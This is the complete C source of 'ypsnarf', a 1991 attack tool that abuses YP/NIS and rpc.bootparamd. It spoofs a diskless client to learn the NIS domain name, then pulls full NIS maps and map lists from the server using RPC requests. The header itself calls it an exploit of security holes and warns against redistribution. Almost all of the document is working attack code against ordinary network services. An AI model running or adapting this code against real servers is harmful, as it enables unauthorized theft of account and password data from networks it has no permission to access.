/* * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY. * * ypsnarf - exercise security holes in yp/nis. * * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik * (casper@fwi.uva.nl). * * Usage: * ypsnarf server client * - to obtain the yp domain name * ypsnarf server domain mapname * - to obtain a copy of a yp map * ypsnarf server domain maplist * - to obtain a list of yp maps * * In the first case, we lie and pretend to be the host "client", and send * a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this * to work, "server" must be running rpc.bootparamd, and "client" must be a * diskless client of (well, it must boot from) "server". * * In the second case, we send a YPPROC_DOMAIN request to the host "server", * asking if it serves domain "domain". If so, we send YPPROC_FIRST and * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map * "mapname". Note that you must specify the full yp map name, you cannot * use the shorthand names provided by "ypcat". * * In the third case, the special map name "maplist" tells ypsnarf to send * a YPPROC_MAPLIST request to the server and get the list of maps in domain * "domain", instead of getting the contents of a map. If the server has a * map called "maplist" you can't get it. Oh well. * * Since the callrpc() routine does not make any provision for timeouts, we * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer. * * This program uses UDP packets, which means there's a chance that things * will get dropped on the floor; it's not a reliable stream like TCP. In * practice though, this doesn't seem to be a problem. * * To compile: * cc -o ypsnarf ypsnarf.c -lrpcsvc * * David A. Curry * Purdue University * Engineering Computer Network * Electrical Engineering Building * West Lafayette, IN 47907 * davy@ecn.purdue.edu * January, 1991 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */ #define YPSNARF_TIMEOUT1 15 /* timeout for initial request */ #define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */ char *pname; /* program name */ main(argc, argv) char **argv; int argc; { char *server, *client, *domain, *mapname; pname = *argv; /* * Process arguments. This is less than robust, but then * hey, you're supposed to know what you're doing. */ switch (argc) { case 3: server = *++argv; client = *++argv; get_yp_domain(server, client); exit(0); case 4: server = *++argv; domain = *++argv; mapname = *++argv; if (strcmp(mapname, "maplist") == 0) get_yp_maplist(server, domain); else get_yp_map(server, domain, mapname); exit(0); default: fprintf(stderr, "Usage: %s server client -", pname); fprintf(stderr, "to obtain yp domain name\n"); fprintf(stderr, " %s server domain mapname -", pname); fprintf(stderr, "to obtain contents of yp map\n"); exit(1); } } /* * get_yp_domain - figure out the yp domain used between server and client. */ get_yp_domain(server, client) char *server, *client; { long hostip; struct hostent *hp; bp_whoami_arg w_arg; bp_whoami_res w_res; extern void timeout(); enum clnt_stat errcode; /* * Just a sanity check, here. */ if ((hp = gethostbyname(server)) == NULL) { fprintf(stderr, "%s: %s: unknown host.\n", pname, server); exit(1); } /* * Allow the client to be either an internet address or a * host name. Copy in the internet address. */ if ((hostip = inet_addr(client)) == -1) { if ((hp = gethostbyname(client)) == NULL) { fprintf(stderr, "%s: %s: unknown host.\n", pname, client); exit(1); } bcopy(hp->h_addr_list[0], (caddr_t) &w_arg.client_address.bp_address.ip_addr, hp->h_length); } else { bcopy((caddr_t) &hostip, (caddr_t) &w_arg.client_address.bp_address.ip_addr, sizeof(ip_addr_t)); } w_arg.client_address.address_type = IP_ADDR_TYPE; bzero((caddr_t) &w_res, sizeof(bp_whoami_res)); /* * Send a BOOTPARAMPROC_WHOAMI request to the server. This will * give us the yp domain in the response, IFF client boots from * the server. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg, xdr_bp_whoami_res, &w_res); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Print the domain name. */ printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name); /* * The maximum domain name length is 255 characters, but the * rpc.bootparamd program truncates anything over 32 chars. */ if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN) printf(" (truncated?)"); /* * Put out the client name, if they didn't know it. */ if (hostip != -1) printf(" (client name = %s)", w_res.client_name); putchar('\n'); } /* * get_yp_map - get the yp map "mapname" from yp domain "domain" from server. */ get_yp_map(server, domain, mapname) char *server, *domain, *mapname; { char *reqp; bool_t yesno; u_long calltype; bool (*xdr_proc)(); extern void timeout(); enum clnt_stat errcode; struct ypreq_key keyreq; struct ypreq_nokey nokeyreq; struct ypresp_key_val answer; /* * This code isn't needed; the next call will give the same * error message if there's no yp server there. */ #ifdef not_necessary /* * "Ping" the yp server and see if it's there. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); #endif /* * Figure out whether server serves the yp domain we want. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool, (caddr_t) &yesno); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Nope... */ if (yesno == FALSE) { fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain); exit(1); } /* * Now we just read entry after entry... The first entry we * get with a nokey request. */ keyreq.domain = nokeyreq.domain = domain; keyreq.map = nokeyreq.map = mapname; reqp = (caddr_t) &nokeyreq; keyreq.keydat.dptr = NULL; answer.status = TRUE; calltype = YPPROC_FIRST; xdr_proc = xdr_ypreq_nokey; while (answer.status == TRUE) { bzero((caddr_t) &answer, sizeof(struct ypresp_key_val)); signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT2); errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc, reqp, xdr_ypresp_key_val, &answer); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Got something; print it. */ if (answer.status == TRUE) { printf("%.*s\n", answer.valdat.dsize, answer.valdat.dptr); } /* * Now we're requesting the next item, so have to * send back the current key. */ calltype = YPPROC_NEXT; reqp = (caddr_t) &keyreq; xdr_proc = xdr_ypreq_key; if (keyreq.keydat.dptr) free(keyreq.keydat.dptr); keyreq.keydat = answer.keydat; if (answer.valdat.dptr) free(answer.valdat.dptr); } } /* * get_yp_maplist - get the yp map list for yp domain "domain" from server. */ get_yp_maplist(server, domain) char *server, *domain; { bool_t yesno; extern void timeout(); struct ypmaplist *mpl; enum clnt_stat errcode; struct ypresp_maplist maplist; /* * This code isn't needed; the next call will give the same * error message if there's no yp server there. */ #ifdef not_necessary /* * "Ping" the yp server and see if it's there. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); #endif /* * Figure out whether server serves the yp domain we want. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool, (caddr_t) &yesno); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Nope... */ if (yesno == FALSE) { fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain); exit(1); } maplist.list = (struct ypmaplist *) NULL; /* * Now ask for the list. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST, xdr_wrapstring, (caddr_t) &domain, xdr_ypresp_maplist, &maplist); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); if (maplist.status != YP_TRUE) { fprintf(stderr, "%s: cannot get map list: %s\n", pname, yperr_string(ypprot_err(maplist.status))); exit(1); } /* * Print out the list. */ for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next) printf("%s\n", mpl->ypml_name); } /* * print_rpc_err - print an rpc error and exit. */ print_rpc_err(errcode) enum clnt_stat errcode; { fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode)); exit(1); } /* * timeout - print a timeout and exit. */ void timeout() { fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname); exit(1); }